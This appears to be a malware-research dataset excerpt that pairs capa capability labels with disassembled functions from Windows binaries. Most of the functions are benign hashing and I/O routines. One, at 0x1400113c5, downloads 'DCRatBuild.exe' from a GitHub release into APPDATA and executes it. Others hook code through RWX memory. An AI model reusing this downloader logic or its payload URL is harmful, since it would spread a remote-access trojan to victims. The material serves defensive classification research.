joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000d190
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x48
movdqa xmmword [rsp + 0x30], xmm9
movdqa xmmword [rsp + 0x20], xmm8
movdqa xmmword [rsp + 0x10], xmm7
movdqa xmmword [rsp], xmm6
cmp r8, 0x80
jb 0x18000d3ad
movdqu xmm4, xmmword [rdx]
movdqu xmm3, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movdqu xmm1, xmmword [rdx + 0x30]
not ecx
movd xmm0, ecx
pxor xmm0, xmm4
add rdx, 0x40
add r8, 0xffffffffffffffc0
movabs rax, 0x154442bd4
movq xmm4, rax
movdqa xmm5, xmmword [0x18005b3b0]
nop word cs:[rax + rax]
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm4, 0
movdqa xmm7, xmm0
pclmulqdq xmm7, xmm5, 0x11
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmm6
pxor xmm0, xmm7
movdqu xmm6, xmmword [rdx + 0x10]
movdqu xmm7, xmmword [rdx + 0x20]
movdqu xmm8, xmmword [rdx + 0x30]
movdqa xmm9, xmm3
pclmulqdq xmm9, xmm4, 0
pxor xmm9, xmm6
pclmulqdq xmm3, xmm5, 0x11
pxor xmm3, xmm9
movdqa xmm6, xmm2
pclmulqdq xmm6, xmm4, 0
pxor xmm6, xmm7
pclmulqdq xmm2, xmm5, 0x11
pxor xmm2, xmm6
movdqa xmm6, xmm1
pclmulqdq xmm6, xmm4, 0
pxor xmm6, xmm8
pclmulqdq xmm1, xmm5, 0x11
pxor xmm1, xmm6
add rdx, 0x40
add r8, 0xffffffffffffffc0
cmp r8, 0x3f
ja 0x18000d200
movabs rax, 0x1751997d0
movq xmm4, rax
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm4, 0
movdqa xmm5, xmmword [0x18005b3c0]
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm6
pxor xmm0, xmm3
movdqa xmm3, xmm0
pclmulqdq xmm3, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm3
pxor xmm0, xmm2
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm2
pxor xmm0, xmm1
cmp r8, 0x10
jb 0x18000d32a
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rdx]
add r8, 0xfffffffffffffff0
add rdx, 0x10
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pxor xmm2, xmm1
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm2
cmp r8, 0xf
ja 0x18000d300
movdqa xmm1, xmmword [0x18005b3c0]
pclmulqdq xmm1, xmm0, 1
psrldq xmm0, 8
pxor xmm0, xmm1
pxor xmm1, xmm1
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
movabs rax, 0x163cd6124
movq xmm3, rax
pclmulqdq xmm3, xmm2, 0
psrldq xmm0, 4
pxor xmm0, xmm3
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
pclmulqdq xmm2, xmmword [0x18005b3d0], 0x10
pblendw xmm2, xmm1, 0xfc
movabs rax, 0x1db710641
movq xmm1, rax
pclmulqdq xmm1, xmm2, 0
pxor xmm1, xmm0
pextrd ecx, xmm1, 1
not ecx
test r8, r8
je 0x18000d3cb
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
jmp fcn.18000cd20
mov eax, ecx
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x18000e900
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x18000e942
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x18000e94a
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x18000e95b
jmp 0x18000e972
xor r10d, r10d
jmp 0x18000e9fd
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x18000e972
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x18000e989
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x18000e9a9
add r11, r8
jmp 0x18000eada
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x18000ea72
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x18000ea20
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 3
jbe 0x18000ea90
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x18000eaa2
jmp 0x18000eabc
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x18000eabc
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x18000ead6
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret

Function at 0x18000f000
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
Function at 0x180017480
Capabilities:
Encode data using xor

Disassembly:
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae fcn.180009b80
cmp rax, rcx
je 0x1800174a5
cmp rdx, 4
jae 0x1800174a8
xor eax, eax
xor r8d, r8d
jmp 0x180017540
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x18005b340]
movdqa xmm3, xmmword [0x18005b350]
pxor xmm1, xmm1
nop dword [rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x1800174d0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x180017557
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x180017540
ret
Function at 0x18001cb30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x183661038]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x18001cba3
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x18001cbda
test eax, eax
js 0x18001cbb4
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x18001cbcd
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x183661098]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.18001c430
mov rcx, rax
call fcn.18001c220
mov ecx, 7
int 0x29
ud2

Function at 0x180023f30
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001d3d0
mov rax, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
movabs rdi, 0x8000000000000000
cmp rax, rdi
je case.0x18001fe98.182
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax

Function at 0x180024ff0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x180025033
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x180021c90]
mov qword [rbp - 0x28], rax
lea rax, [0x183661290]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, [0x1836612c8]
lea rcx, [rbp - 0x60]
call fcn.180059290
ud2
Function at 0x18002c030
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov rbx, qword [rcx]
mov rdi, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rbx, 0x20
jb 0x18002c118
mov r8, qword [rcx + 8]
mov r10, qword [rcx + 0x20]
mov rdx, r8
mov r9, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov rax, r9
rol rax, 0xc
mov r11, rcx
rol r11, 7
add r11, rax
rol r8, 1
mov rax, r10
imul rdx, rbp
imul rcx, rbp
imul r9, rbp
imul r10, rbp
rol rax, 0x12
add r11, rax
rol rdx, 0x1f
add r11, r8
rol rcx, 0x1f
imul rdx, rsi
imul rcx, rsi
rol r9, 0x1f
movabs rax, 0x85ebca77c2b2ae63
xor r11, rdx
rol r10, 0x1f
imul r11, rsi
imul r9, rsi
imul r10, rsi
sub r11, r15
xor r11, rcx
imul r11, rsi
sub r11, r15
xor r11, r9
imul r11, rsi
sub r11, r15
xor r11, r10
imul r11, rsi
add rax, r11
jmp 0x18002c11f
mov rax, qword [rcx + 0x18]
add rax, r14
add rax, rbx
lea r8, [rdi + 0x28]
and ebx, 0x1f
cmp rbx, 8
jb 0x18002c167
mov edx, ebx
shr rdx, 3
imul rcx, rdx, 0xfffffffffffffff8
add rbx, rcx
nop dword [rax]
mov rcx, qword [r8]
add r8, 8
imul rcx, rbp
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
rol rax, 0x1b
imul rax, rsi
sub rax, r15
sub rdx, 1
jne 0x18002c140
movabs r9, 0x165667b19e3779f9
cmp rbx, 4
jb 0x18002c194
mov edx, dword [r8]
add r8, 4
imul rdx, rsi
xor rax, rdx
rol rax, 0x17
imul rax, rbp
add rax, r9
sub rbx, 4
test rbx, rbx
je 0x18002c1bd
nop dword [rax]
movzx ecx, byte [r8]
lea r8, [r8 + 1]
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
sub rbx, 1
jne 0x18002c1a0
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r9
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret
Function at 0x140011311
Capabilities:
Terminate process

Disassembly:
jmp 0x140016570
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400113c5
Capabilities:
Create process on windows
Download url
Query environment variable
Receive data

Disassembly:
jmp 0x140014d10
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140022040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400280f3]
call fcn.14001156e
nop
lea rcx, str.APPDATA
call qword [sym.imp.ucrtbased.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14001125d
nop
lea rdx, str._barakanova.exe
lea rcx, [rbp + 8]
call fcn.14001106e
nop
lea rcx, [rbp + 8]
call fcn.140011087
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__github.com_NotRat100_OpinionPovesPaster_releases_download_Realease_DCRatBuild.exe
xor ecx, ecx
call fcn.14001114f
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140014dd8
lea rcx, [rbp + 8]
call fcn.140011087
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp + 8]
call fcn.140011109
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001de00]
call fcn.140011497
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400112ad
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400113d9
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400178c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400178e0
xor al, al
jmp 0x140017961
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400178f3
xor al, al
jmp 0x140017961
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001791d
xor al, al
jmp 0x140017961
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017931
xor al, al
jmp 0x140017961
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017943
xor al, al
jmp 0x140017961
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001795f
xor al, al
jmp 0x140017961
mov al, 1
add rsp, 0x38
ret
Function at 0x1400156c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400115aa
movzx eax, al
test eax, eax
jne 0x1400156e0
mov ecx, 7
call fcn.1400114a1
nop
mov byte [rsp + 0x20], 0
call fcn.1400114e2
mov byte [rsp + 0x21], al
cmp dword [0x140022b78], 1
jne 0x140015704
mov ecx, 7
call fcn.1400114a1
nop
jmp 0x14001575c
cmp dword [0x140022b78], 0
jne 0x140015757
mov dword [0x140022b78], 1
lea rdx, [0x14001d660]
lea rcx, [0x14001d330]
call fcn.140011294
test eax, eax
je 0x140015738
mov eax, 0xff
jmp 0x140015861
lea rdx, [0x14001d220]
lea rcx, [section..rdata]
call fcn.1400114c9
mov dword [0x140022b78], 2
jmp 0x14001575c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001148d
call fcn.1400113fc
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400157b9
mov rcx, qword [rsp + 0x30]
call fcn.140011212
movzx eax, al
test eax, eax
je 0x1400157b9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140029020]
nop
call fcn.14001143d
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400157ed
mov rcx, qword [rsp + 0x38]
call fcn.140011212
movzx eax, al
test eax, eax
je 0x1400157ed
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011550
nop
call fcn.140015910
mov dword [rsp + 0x28], eax
call fcn.1400113d9
movzx eax, al
test eax, eax
jne 0x14001580c
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001581b
call fcn.14001155f
nop
xor edx, edx
mov cl, 1
call fcn.1400111ef
mov eax, dword [rsp + 0x28]
jmp 0x140015861
add rsp, 0x68
ret
Function at 0x180001200
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x50
xor r12d, r12d
mov esi, r8d
lea rax, vtable.VFTHookTemplate_struct_EntryHook_.0
mov qword [rcx + 8], r12
xorps xmm0, xmm0
mov qword [rcx], rax
xorps xmm1, xmm1
mov qword [rsp + 0x20], r12
movups xmmword [rsp + 0x28], xmm0
mov r14, r9
mov r15, rcx
movdqu xmmword [rsp + 0x38], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x180001246
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x80], rdi
call fcn.180001980
lea rcx, [rsp + 0x20]
call fcn.18000a3d0
test rax, rax
je 0x180001391
mov rdi, qword [rax]
xor ecx, ecx
mov edx, 0xc8
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x180001391
mov rcx, rax
mov qword [rsp + 0x78], rbp
mov qword [r15 + 8], rax
call fcn.180005c50
mov ecx, 0x50
lea rsi, [rdi + rsi*8]
mov rbx, rax
call fcn.18000d320
mov rdi, rax
test rax, rax
je 0x1800012f3
xorps xmm0, xmm0
mov dword [rax], r12d
mov qword [rax + 8], r12
mov edx, 2
mov qword [rax + 0x10], r12
mov rcx, rax
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm0
movups xmmword [rax + 0x38], xmm0
mov qword [rax + 0x48], r12
call sub.MSVCP140D.dll__Mtx_init_in_situ
jmp 0x1800012f6
mov rdi, r12
mov rdx, rdi
lea rcx, [rbx + 8]
call fcn.180005880
mov rax, qword [rsi]
mov rbp, qword [rsp + 0x78]
mov qword [rbx + 0x38], r14
mov qword [rbx + 0x40], rax
lea r14, [rax - 0x50]
mov qword [rbx + 0x30], rsi
mov rax, qword [r14]
cmp qword [rbx], rax
jne 0x180001375
mov rdi, qword [r14 + 8]
mov rcx, rdi
call sub.MSVCP140D.dll__Mtx_lock
test eax, eax
jne 0x1800013c6
cmp dword [rdi + 0x4c], 0x7fffffff
je 0x1800013b4
mfence
mov rax, qword [rsi]
cmp qword [rbx + 0x40], rax
je 0x180001353
mov qword [rbx + 0x40], rax
lea r14, [rax - 0x50]
lea rcx, [r14 + 0x30]
mov rdx, rbx
call fcn.180005810
lea rdx, [rbx + 0x50]
mov rcx, rsi
call fcn.180005810
mov rcx, rdi
call sub.MSVCP140D.dll__Mtx_unlock
jmp 0x180001391
mfence
mov rax, qword [rsi]
cmp qword [rbx + 0x40], rax
je 0x180001385
mov qword [rbx + 0x40], rax
lea rdx, [rbx + 0x50]
mov rcx, rsi
call fcn.180005810
mov rdi, qword [rsp + 0x80]
mov rax, r15
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop r12
ret
mov ecx, 6
mov dword [rdi + 0x4c], 0x7ffffffe
call sub.MSVCP140D.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140D.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x1800013e0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x50
xor r12d, r12d
mov esi, r8d
lea rax, vtable.VFTHookTemplate_struct_ExitHook_.0
mov qword [rcx + 8], r12
xorps xmm0, xmm0
mov qword [rcx], rax
xorps xmm1, xmm1
mov qword [rsp + 0x20], r12
movups xmmword [rsp + 0x28], xmm0
mov r14, r9
mov r15, rcx
movdqu xmmword [rsp + 0x38], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x180001426
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x80], rdi
call fcn.180001980
lea rcx, [rsp + 0x20]
call fcn.18000a3d0
test rax, rax
je 0x180001571
mov rdi, qword [rax]
xor ecx, ecx
mov edx, 0xd8
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x180001571
mov rcx, rax
mov qword [rsp + 0x78], rbp
mov qword [r15 + 8], rax
call fcn.180005d70
mov ecx, 0x50
lea rsi, [rdi + rsi*8]
mov rbx, rax
call fcn.18000d320
mov rdi, rax
test rax, rax
je 0x1800014d3
xorps xmm0, xmm0
mov dword [rax], r12d
mov qword [rax + 8], r12
mov edx, 2
mov qword [rax + 0x10], r12
mov rcx, rax
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm0
movups xmmword [rax + 0x38], xmm0
mov qword [rax + 0x48], r12
call sub.MSVCP140D.dll__Mtx_init_in_situ
jmp 0x1800014d6
mov rdi, r12
mov rdx, rdi
lea rcx, [rbx + 8]
call fcn.180005880
mov rax, qword [rsi]
mov rbp, qword [rsp + 0x78]
mov qword [rbx + 0x38], r14
mov qword [rbx + 0x40], rax
lea r14, [rax - 0x50]
mov qword [rbx + 0x30], rsi
mov rax, qword [r14]
cmp qword [rbx], rax
jne 0x180001555
mov rdi, qword [r14 + 8]
mov rcx, rdi
call sub.MSVCP140D.dll__Mtx_lock
test eax, eax
jne 0x1800015a6
cmp dword [rdi + 0x4c], 0x7fffffff
je 0x180001594
mfence
mov rax, qword [rsi]
cmp qword [rbx + 0x40], rax
je 0x180001533
mov qword [rbx + 0x40], rax
lea r14, [rax - 0x50]
lea rcx, [r14 + 0x30]
mov rdx, rbx
call fcn.180005810
lea rdx, [rbx + 0x50]
mov rcx, rsi
call fcn.180005810
mov rcx, rdi
call sub.MSVCP140D.dll__Mtx_unlock
jmp 0x180001571
mfence
mov rax, qword [rsi]
cmp qword [rbx + 0x40], rax
je 0x180001565
mov qword [rbx + 0x40], rax
lea rdx, [rbx + 0x50]
mov rcx, rsi
call fcn.180005810
mov rdi, qword [rsp + 0x80]
mov rax, r15
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop r12
ret
mov ecx, 6
mov dword [rdi + 0x4c], 0x7ffffffe
call sub.MSVCP140D.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140D.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x180003780
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x20
movzx r8d, byte [rdx]
mov rdi, rcx
movabs rcx, 0x100000001b3
movabs rax, 0xcbf29ce484222325
xor r8, rax
mov r9, rdx
movzx eax, byte [rdx + 1]
xor ebp, ebp
imul r8, rcx
xor r8, rax
movzx eax, byte [rdx + 2]
imul r8, rcx
xor r8, rax
movzx eax, byte [rdx + 3]
imul r8, rcx
xor r8, rax
movzx eax, byte [rdx + 4]
imul r8, rcx
xor r8, rax
movzx eax, byte [rdx + 5]
imul r8, rcx
xor r8, rax
movzx eax, byte [rdx + 6]
imul r8, rcx
xor r8, rax
movzx eax, byte [rdx + 7]
mov rdx, qword [rdi + 0x40]
imul r8, rcx
xor r8, rax
imul r8, rcx
lea rcx, [rdi + 0x10]
and rdx, r8
shl rdx, 4
add rdx, qword [rdi + 0x28]
mov rbx, qword [rdx + 8]
cmp rbx, qword [rcx]
je 0x180003849
mov rax, qword [r9]
mov r8, qword [rdx]
cmp rax, qword [rbx + 0x10]
je 0x18000384c
nop dword [rax + rax]
cmp rbx, r8
je 0x180003845
mov rbx, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
jne 0x180003830
lea rcx, [rdi + 0x10]
jmp 0x18000384c
lea rcx, [rdi + 0x10]
mov rbx, rbp
test rbx, rbx
je 0x18000392f
mov rax, qword [rdx]
mov qword [rsp + 0x38], rsi
cmp qword [rdx + 8], rbx
jne 0x18000387e
cmp rax, rbx
jne 0x180003874
mov rax, qword [rcx]
mov qword [rdx], rax
mov qword [rdx + 8], rax
jmp 0x180003889
mov rax, qword [rbx + 8]
mov qword [rdx + 8], rax
jmp 0x180003889
cmp rax, rbx
jne 0x180003889
mov rax, qword [rbx]
mov qword [rdx], rax
mov rsi, qword [rbx]
lea rcx, [rsp + 0x30]
mov edx, 3
call qword [sym.imp.MSVCP140D.dll_public:_void___cdecl_std::_Lockit::constructor_int____ptr64]
mov rcx, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
add rcx, 8
mov rax, qword [rcx]
test rax, rax
je 0x1800038d6
mov r8, qword [rax + 0x10]
cmp r8, r9
je 0x1800038ca
cmp r8, rbx
jne 0x1800038ca
mov qword [rax], rbp
mov rax, qword [rax + 8]
mov qword [rcx], rax
jmp 0x1800038ce
lea rcx, [rax + 8]
mov rax, qword [rcx]
test rax, rax
jne 0x1800038b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140D.dll_public:_void___cdecl_std::_Lockit::destructor_void____ptr64]
dec qword [rdi + 0x18]
mov rax, qword [rbx + 8]
mov qword [rax], rsi
mov rax, qword [rbx + 8]
mov qword [rsi + 8], rax
mov rcx, qword [rbx + 0x18]
mov rsi, qword [rsp + 0x38]
test rcx, rcx
je 0x18000390d
mov r8, qword [rcx]
mov edx, 1
call qword [r8]
mov edx, 0x20
mov rcx, rbx
call fcn.18000d370
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret